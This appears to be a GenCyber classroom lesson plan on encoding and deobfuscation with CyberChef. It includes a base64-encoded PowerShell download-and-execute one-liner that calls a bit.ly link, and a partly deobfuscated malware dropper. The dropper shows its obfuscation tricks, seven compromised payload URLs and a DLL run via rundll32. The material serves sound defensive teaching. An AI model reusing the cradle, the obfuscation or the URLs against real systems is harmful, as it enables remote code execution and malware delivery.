

Encoding and Obfuscation

**Lesson Description:** In this lesson, students will explore the concept of encoding in the context of cybersecurity and learn how to utilize the powerful online tool, CyberChef.io, for various encoding-related tasks and malicious code analysis.

**Prerequisite Knowledge:** Students should be able to follow an algorithm in order to encode and decode messages.

**Length of Completion**: 1 session (nano module) but can be extended with additional examples or obfuscation techniques.

**Level of Instruction:** 6-12th grade intermediate/advanced

Page |

1

This document is licensed with a

[Creative Common](https://creativecommons.org/licenses/by/4.0/)

[s](https://creativecommons.org/licenses/by/4.0/)

[Attribution 4.0 International Licens](https://creativecommons.org/licenses/by/4.0/)

[e](https://creativecommons.org/licenses/by/4.0/)

©2017



**Applicable First Principles &/or Concepts:**

**GenCyber Cybersecurity Concepts**

Confidentiality Think Like an Adversary

**Resources that are Needed:** CyberChef.io access, obfuscated Powershell scripts

**Accommodations Needed:** Students with learning disabilities may need shortened messages of a few words.

# LEARNING OUTCOMES

* Students will be able to apply decoding techniques to breakdown encoded strings
* Students will be able to discuss the importance of obfuscation and being able to deobfuscate
* Students will be able to apply techniques to decode multiple layers of encoding

# LESSON DETAILS

**Interconnection:** This lesson could be taught independently or along with other cybersecurity lessons.

**Assessment:** Formative assessment of students accurately being able to encode and decode messages.

**Extension Activities:** A possible extension is to introduce other obfuscated code or additional layers of encoding.

# LESSON

**Lesson 1 Details:**

**Warm Up:** Start with a jumbled encoded string and have students guess what the decoded version is. Go through multiple layers of decoding (3-4) until displaying the decoded message. Example “Who’s enjoying camp?” encoded with URL Encoding, Base 64, Base 32, and an Atbash Cipher.

**Lesson:** Encoding plays a crucial role in cybersecurity by transforming data into different formats to protect it from unauthorized access or manipulation. One of the primary uses of encoding in cybersecurity is in the encryption of sensitive information. Through encryption algorithms, data is converted into an unreadable format, known as ciphertext, using a cryptographic key. This process ensures that even if the data is intercepted, it remains incomprehensible to unauthorized individuals. Encoding techniques such as Base64 or hexadecimal are also employed in various security mechanisms, such as web application security and email filtering, to prevent the exploitation of vulnerabilities and protect against attacks like cross-site scripting (XSS) or SQL injection. By encoding user inputs or content, potentially harmful characters or commands are transformed into harmless representations, thereby mitigating the risks associated with malicious code execution or unauthorized data manipulation.

Encoding is used in digital signatures and certificate mechanisms to verify the authenticity and integrity of data. Encoding techniques like hashing algorithms, such as SHA-256 or MD5, generate a unique hash value based on the input data. This hash value acts as a digital fingerprint, ensuring that any changes to the data can be detected. Digital signatures combine this hash value with asymmetric encryption to provide a mechanism for verifying the identity of the sender and the integrity of the data. Encoding, in this context, ensures that any tampering or unauthorized modifications to the data would result in a different hash value, alerting the recipient to the potential compromise.

Overall, encoding techniques are essential tools in the cybersecurity arsenal, enabling data protection, secure communication, and the detection of tampering or unauthorized access.

Let’s try out some examples and see if we can’t find some hidden messages!

**Exercise 1:**

A screenshot of a computer

Description automatically generated Start by browsing to [www.CyberChef.io](http://www.CyberChef.io). CyberChef.io is a powerful web-based tool that simplifies data manipulation and analysis in the field of cybersecurity. It offers a user-friendly interface and a vast collection of built-in functions, allowing users to perform a wide range of data transformations, encoding, decoding, hashing, encryption, and decryption operations with ease.

Each area has a use:

INPUT: Place the string of text/file/image to be decoded in here

RECIPE: Encoding or decoding operations that are happening to the INPUT value.

OPERATIONS: List of values encoding/encryption/data manipulation functions that can be added to the RECIPE

OUTPUT: This is resulting text after you BAKE your RECIPE. In other words, this is what is outputted after decoding your input.

Let’s take this string and try to decode it:

***SXQncyBzdW1tZXIgdmFjYXRpb24hIQ****==*

First copy this into the INPUT section of CyberChef. Then in the OPERATION area, look or search for a “From Base64” pane. Click and drag this into the RECIPE area. Did something happen to your OUTPUT?

A screenshot of a computer

Description automatically generated with medium confidence

You now have decoded your first hidden message!

**Exercise 2:**

That’s great, but how did we know to use “From Base 64”? Well one way is that it ended in “=”…which is a common way that Base 64 strings are padded/identified. But not all end in “=”s…so this isn’t a rule.

Here are some of the most common encoding techniques used in the field of cybersecurity include:

1. Base64 Encoding: Base64 is a widely used encoding method that converts binary data into a printable ASCII string format. It works by dividing the input data into groups of three bytes and then representing those bytes as a series of characters from a predefined set of 64 characters. Base64 encoding is commonly used for encoding binary data in formats such as email attachments, cryptographic keys, and data transmission over the internet.
2. Hexadecimal Encoding: Hexadecimal (or hex) encoding represents data as a sequence of hexadecimal digits (0-9 and A-F), with each digit representing four bits. It is often used to represent binary data in a human-readable format. Hexadecimal encoding is commonly employed in analyzing and manipulating binary data, debugging, and cryptographic operations.
3. URL Encoding: URL encoding, also known as percent-encoding, is used to represent special characters in a URL. Special characters, such as spaces or symbols, are replaced with a percent sign followed by their corresponding ASCII value in hexadecimal. This encoding ensures that URLs are correctly interpreted and transmitted across different systems without causing errors.
4. HTML Entity Encoding: HTML entity encoding is used to represent reserved characters or symbols in HTML documents. Characters such as <, >, &, or " are replaced with their corresponding HTML entities. This encoding prevents the browser from misinterpreting these characters as HTML markup or breaking the structure of the webpage.
5. UTF-8 Encoding: UTF-8 (Unicode Transformation Format 8-bit) is a character encoding scheme that represents characters from the Unicode character set. It uses variable-length encoding, where each character is represented by one to four bytes. UTF-8 encoding allows the representation of characters from multiple languages and is widely used in web applications, databases, and text files.
6. Binary Encoding: Binary encoding represents data in binary form, using only two symbols: 0 and 1. It is commonly used in cryptography, file compression, and data storage. Binary encoding allows precise representation and manipulation of data at the bit level.

These encoding techniques serve different purposes in cybersecurity, from protecting data during transmission to ensuring the correct interpretation of characters in various contexts. Understanding these techniques is essential for cybersecurity professionals to analyze, decode, and manipulate encoded data effectively.

Let’s try decoding some of these:

***1🡪 57 68 79 20 64 6f 6e 27 74 20 73 63 69 65 6e 74 69 73 74 73 20 74 72 75 73 74 20 61 74 6f 6d 73 3f 20 42 65 63 61 75 73 65 20 74 68 65 79 20 6d 61 6b 65 20 75 70 20 65 76 65 72 79 74 68 69 6e 67 21***

***Decoded:***

***2🡪 01001000 01101111 01110111 00100000 01100100 01101111 00100000 01111001 01101111 01110101 00100000 01101111 01110010 01100111 01100001 01101110 01101001 01111010 01100101 00100000 01100001 00100000 01110011 01110000 01100001 01100011 01100101 00100000 01110000 01100001 01110010 01110100 01111001 00111111 00100000 01011001 01101111 01110101 00100000 00100010 01110000 01101100 01100001 01101110 01100101 01110100 00100010 00100001***

***Decoded:***

***3🡪What%20did%20the%20buffalo%20say%20to%20his%20son%20when%20he%20dropped%20him%20off%20at%20school?%20Bison!***

***Decoded:***

***4 🡪 V2h5JTIwZGlkJTIwdGhlJTIwYmljeWNsZSUyMGZhbGwlMjBvdmVyPyUyMEJlY2F1c2UlMjBpdCUyMHdhcyUyMHR3by10aXJlZCE=***

***Decoded:***

***5🡪 VjJoaGRDZHpJR0VnWTI5dGNIVjBaWEluY3lCbVlYWnZjbWwwWlNCemJtRmphejhnVFdsamNtOWphR2x3Y3lFPQ==***

***(HINT: encoding can have multiple iterations…once, twice, or more!...try multiples of one in your RECIPE)***

***Decoded:***

Alright now that you’re getting the hang of it…let’s try three more challenging ones here. These ones will require two or more steps for each.

***1 🡪 VTFOQ00ySXlOV3RhV0Vwc1drTkNNMkZJYTJka1IyaHNTVWRhZVdGWVRtbGFWMVU5***

***(Hint: 3 steps and remember the = isn’t always at the end of base64)***

***Decoded:***

***2 🡪 01001111 00110101 01010001 01011000 01000111 01001010 01001010 01010011 01000111 01000010 01010100 01010111 01001011 00110101 01000100 01010101 01001110 01000110 01011000 01000111 01001111 01001010 01001010 01010011 01000111 01000010 01010010 01000111 01010011 01011010 00110011 01001000 01001101 01010110 01011010 01000011 01001011 01001101 01010010 01010001 01001101 01000110 01011000 01000111 01001001 01001010 01001010 01010011 01000111 01000010 01010010 01000111 01010011 01011010 00110011 01001000 01001101 01010110 01011010 01000001 00111101 00111101 00111101 00111101***

***(Hint 3 steps…and base 32 is another operation…)***

***Decoded:***

***3 🡪 VABoAGUAbgAgAGkAdAAgAEgASQBUACAATQBFACEAIQA=***

***(Hint 2 steps…and UTF-16LE (try the Decode Text operation) likes to l.o.o.k. .l.i.k.e. .t.h.i.s.***

***Decoded:***

**Exercise 3:**

One of the ways that malicious actors like to hide their steps and bypass anti-virus/anti-malware is to multiple layers of encoding to help hide their true meaning.

PowerShell obfuscation refers to the technique of deliberately making PowerShell code more complex and difficult to understand or analyze. Obfuscation involves modifying the structure, syntax, and naming conventions of the code, making it challenging for security researchers, antivirus software, or other analysis tools to identify and comprehend the script's intent.

Obfuscation, in the context of cybersecurity, is the process of intentionally obscuring the true purpose or functionality of code, making it harder to decipher or reverse engineer. Malicious actors employ obfuscation techniques to evade detection, hinder analysis, and increase the chances of successful execution of their malicious activities. By obfuscating their PowerShell code, attackers can camouflage their intentions, bypass security controls, and increase the effectiveness of their attacks. This technique makes it difficult for defenders to identify and mitigate threats, as the obfuscated code can evade traditional signature-based detection methods and hinder analysis by automated tools. Ultimately, obfuscation is used by malicious actors to enhance the stealth, persistence, and success rates of their cyberattacks.

Let’s take a look at this Powershell command:

***powershell.exe -e aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBpAHQALgBsAHkALwBlADAATQB3ADkAdwAiACkA***

Sure looks like a lot of nothing…but if you try running it in a Powershell prompt…it seems to run something:  
A screenshot of a computer

Description automatically generated with medium confidence

But how does it do that?

Let’s breakdown this Powershell One-liner:

Powershell.exe 🡪 Calls on powershell to execute whatever cmdlet’s follow

-e 🡪 specifies that the following is “encoded”

aQBlAHgAIAA…CkA 🡪 long block of encoded text

Let’s see if there’s anything that we can do to decode that block of text using CyberChef.

1. ***aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBpAHQALgBsAHkALwBlADAATQB3ADkAdwAiACkA***

***Decoded:***

Now let’s put that whole command together:

Powershell.exe -e iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")  
  
A little easier to understand what is going on now to a cybersecurity analyst. The “iex” tells the computer to invoke the expression following it, which in this case is the New-Object cmdlet calling on the internet web client to download the payload from the site <http://bit.ly/e0Mw9w>. This code is then executed…resulting in a hilarious result.

**Exercise 4 (last one):**

Now that you have an idea of how a cybersecurity analyst takes a potentially malicious and obfuscated command, and reverse engineers it to an easily readable format…let’s see what kind of information you can get from the following malicious Powershell:

Copy the powershell command in the GenCyber Github found here: https://github.com/LSCCyberHawks/GenCyber2023/blob/main/Wednesday/powershelldecode.txt

Use your skills…and some additional Operations (char, splits, and replace are all available)

**What “security protocol” is being used for the communication with a malicious domain?**

**\*\*\*\*\***

**What directory does this script create? (Starting from \HOME)**

\HOME\\*\*\_\*\*\*\*\\*\*\*\*\*\*\*\

**What is the file being downloaded (full name)?**

\*\*\*\*.dll

**What is “run”ing (or executing) the downloaded file?**

\*\*\*\*\*\*32

**What is the domain name of the URI ending in ‘/6F2gd/’**

\*\*.\*\*\*\*\*\*\*\*\*.net

**Based on the analysis of the obfuscated code, what is the name of the malware?**

\*\*\*\*\*\*

You might want to research that file being downloaded or the domain name you found.

**Spacing**

The semicolon splits commands in PowerShell, so for readability, we can replace ; with two new lines (\n\n in regex).

**Fillers**

Delete all '+' and backticks ```, as they just seem to be filler.

We see quite a few parts split with various combinations of parenthesis, addition signs, and quotes/apostrophes. For example: $Swrp6tc = (('A69')+'S')

We can replace these using regex:

\(\('(.\*?)'\)\+'(.\*?)'\) → $1$2

\('(.\*?)'\+\('(.\*?)'\)\) → $1$2

It also looks okay to delete all ')+(', '+(', and ')+' in this script. As mentioned above, if it breaks the script (as it probably will), it doesn’t matter - it’s safer, and we have a backup anyway.

There are a couple others which I did manually, by sight.

**Chars**

There are a few [char](##) values. For example, [char](64) is @ according to the ASCII table.

**Variables**

PowerShell variables begin with $. We can see this script has several variables, such as $J16J=N\_0P. However, if you search the script for the variable e.g. J16J, you see it’s not in the script. It’s purely filler. We can delete all like this, especially given early in the script we see $ErrorActionPreference = SilentlyContine, meaning any missing variables will simply be ignored.

In other places, where the variable is only mentioned in two places, we can substitute the variable into where it is called e.g. $Swrp6tc.

*Side note*: NOP is a “no operation” instruction in assembly language, and is often used in malware for buffer overflows.

**Format Strings**

The format operator -f is used to split and reorder strings. You simply need to rearrange them in order of the numbers (note it starts with 0). This can be done using a tool, although in this case I did it manually as it’s not too complex (and, as mentioned above, the automated tools I tried failed).

[TYPe]("{0}{1}{2}{4}{3}" -F 'SYsT','eM.','io.DI','ORY','rECt') = SYsteM.io.DIrECtORY → System.IO.Directory

[TYPe]("{6}{8}{0}{3}{4}{5}{2}{7}{1}" -f'SteM','Ger','Ma','.n','et.seRVIcepOi','nt','s','NA','Y') = sYSteM.net.seRVIcepOintMaNAGer → System.Net.ServicePointManager

($HOME + (('{0}Db\_bh30{0}Yf5be5g{0}') -F \)) = ($HOME + ('\Db\_bh30\Yf5be5g\')

**Replaces**

There are some .Replace commands, which, as the name suggests, replace one thing with another thing. Note for both the below I’ve already replaced variables and chars and some fillers seen above.

The first one is easier:

$Imd1yck=$HOME+((('UOHDb\_bh30UOHYf5be5gUOH'))."RePlACe"(('UOH'),[StrInG]\))+A69S+(.dll

If we replace UOH with \, and get rid of some more filler, we get:

$Imd1yck=$HOME+('\Db\_bh30\Yf5be5g\A69S.dll')

The second is a bit more complicated:

$B9fhbyv=]anw[3s://admintk.com/wp-admin/L/@]anw[3s://mikegeerinck.com/c/YYsa/@]anw[3://freelancerwebdesignerhyderabad.com/cgi-bin/S/@]anw[3://etdog.com/wp-content/nu/@]anw[3s://www.hintup.com.br/wp-content/dE/@]anw[3://www.stmarouns.nsw.edu.au/paypal/b8G/@]anw[3://wm.mcdevelop.net/content/6F2gd/."REplACe"(]anw[3,(('sd','sw'),(('http,'3d')[1])

Fortunately with a bit of common sense we can see ]anw[3 is being replaced with http.

$B9fhbyv=https://admintk.com/wp-admin/L/@https://mikegeerinck.com/c/YYsa/@http://freelancerwebdesignerhyderabad.com/cgi-bin/S/@http://etdog.com/wp-content/nu/@https://www.hintup.com.br/wp-content/dE/@http://www.stmarouns.nsw.edu.au/paypal/b8G/@http://wm.mcdevelop.net/content/6F2gd/

**Splits**

Leading on nicely from the previous result, as it is followed by a split:

$B9fhbyv=https://admintk.com/wp-admin/L/@https://mikegeerinck.com/c/YYsa/@http://freelancerwebdesignerhyderabad.com/cgi-bin/S/@http://etdog.com/wp-content/nu/@https://www.hintup.com.br/wp-content/dE/@http://www.stmarouns.nsw.edu.au/paypal/b8G/@http://wm.mcdevelop.net/content/6F2gd/."sPLIT"(@)

Split on @ - in other words, replace @ with , and wrap the whole statement in @() - gives us an array of URLs:

$B9fhbyv=@(https://admintk.com/wp-admin/L/,https://mikegeerinck.com/c/YYsa/,http://freelancerwebdesignerhyderabad.com/cgi-bin/S/,http://etdog.com/wp-content/nu/,https://www.hintup.com.br/wp-content/dE/,http://www.stmarouns.nsw.edu.au/paypal/b8G/,http://wm.mcdevelop.net/content/6F2gd/)

Resource: [Malicious PowerShell Analysis - James' Pereductions (jamesgibbins.com)](https://www.jamesgibbins.com/posts/btlo-challenge-malicious-powershell-analysis/)